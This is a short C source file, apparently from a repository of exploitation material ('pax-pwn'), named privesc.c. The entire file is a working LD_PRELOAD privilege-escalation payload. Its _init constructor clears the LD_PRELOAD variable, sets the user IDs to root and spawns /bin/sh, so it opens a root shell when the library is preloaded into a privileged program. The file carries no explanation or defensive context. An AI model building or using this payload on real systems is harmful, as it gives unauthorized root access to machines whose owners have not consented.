pax-pwn/code/privesc.c

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

int _init() {
        unsetenv("LD_PRELOAD");
        puts("LD_PRELOAD is working!");
        setreuid(0, 0);
        setuid(0);
        printf("UID: %d. EUID: %d.\n", getuid(), geteuid());
        system("/bin/sh");
        exit(0);
}